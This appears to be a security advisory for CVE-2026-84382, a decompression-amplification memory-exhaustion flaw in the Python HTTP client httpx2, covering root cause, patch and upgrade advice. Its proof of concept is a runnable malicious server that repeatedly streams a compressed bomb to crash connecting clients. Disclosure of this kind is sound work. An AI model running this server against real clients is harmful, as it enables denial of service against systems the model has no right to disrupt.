high · 7.5CVE-2026-84382Sep 8, 2026

CVE-2026-84382: httpx2 Decompression Amplification (CWE-409)

Rohit Hatagale
AI Security Researcher, SecureLayer7

httpx2 fully inflated each compressed network chunk before passing data to the application, so a malicious server could exhaust a client process's memory with a tiny compressed response, even when…

Packagehttpx2
Ecosystempip
Affected< 2.12.0
Fixed in2.12.0
CVE-2026-84382: httpx2 Decompression Amplification (CWE-409)

The problem

Versions of httpx2 before 2.12.0 decompressed each incoming network chunk in one shot inside _decoders.py. The GZipDecoder, DeflateDecoder, BrotliDecoder, and ZStandardDecoder classes all called the codec's decompress method on the entire chunk, producing a single large allocation before yielding anything.

At DEFLATE's theoretical peak ratio of roughly 1032:1, one 64 KiB socket read can produce ~64 MiB in a single allocation. Brotli and Zstandard reach similar ratios. The attack requires no credentials and no user interaction, just the ability to return a response to the client.

Proof of concept

A working proof-of-concept for CVE-2026-84382 in httpx2, with the exact payload below.

python
# Attacker-controlled server: serve a maximally compressed DEFLATE body.
# One 64 KiB chunk expands to ~64 MiB per allocation; repeat chunks to exhaust RAM.

import zlib, socket, threading

RAW   = b"A" * 67_108_864          # 64 MiB of uncompressed data
BODY  = zlib.compress(RAW, level=9) # collapses to a few dozen KiB

RESPONSE = (
    b"HTTP/1.1 200 OK\r\n"
    b"Content-Encoding: deflate\r\n"
    b"Content-Type: application/octet-stream\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"Connection: keep-alive\r\n\r\n"
)

def send_forever(conn):
    conn.sendall(RESPONSE)
    # Send the compressed payload as a single chunk, repeatedly.
    # Each chunk triggers one ~64 MiB intermediate allocation in the client.
    chunk_hex = format(len(BODY), 'x').encode() + b"\r\n"
    while True:
        try:
            conn.sendall(chunk_hex + BODY + b"\r\n")
        except BrokenPipeError:
            break
    conn.close()

server = socket.socket()
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("0.0.0.0", 8888))
server.listen(5)
print("Listening on :8888 — connect with httpx2 to trigger OOM")
while True:
    conn, _ = server.accept()
    threading.Thread(target=send_forever, args=(conn,), daemon=True).start()

# Victim process (httpx2 < 2.12.0):
# import httpx2
# with httpx2.stream("GET", "http://attacker:8888/") as r:
#     for chunk in r.iter_bytes():   # streaming does NOT protect you
#         pass                        # each chunk causes a ~64 MiB alloc

The root cause is CWE-409: the codec's decompress() call (or Brotli/Zstd equivalent) was invoked on the entire raw chunk at once, with no output-size cap. Because the application only ever saw already-inflated data, the intermediate peak allocation was invisible to any streaming limit the caller set.

The patch in PR #1126 (commit 4fd0c70) switched all four decoder classes to emit at most 1 MiB per decode step, feeding the compressed data through the codec incrementally until the chunk is exhausted. This keeps the transient allocation bounded regardless of compression ratio or chunk size.

No standalone public PoC repository exists at the time of writing. The payload above is derived directly from the advisory's description of the vulnerable code path in src/httpx2/httpx2/_decoders.py.

The fix

Upgrade to httpx2 2.12.0 or later (pip install -U httpx2). The patched release decompresses all supported encodings (gzip, deflate, brotli, zstd) incrementally with a 1 MiB per-step output cap. If you cannot upgrade immediately, consider wrapping responses from untrusted servers with a hard byte-count limit before decompression.

Reported by Hiroki Nishino.

References: [1][2][3][4][5][6]

Related research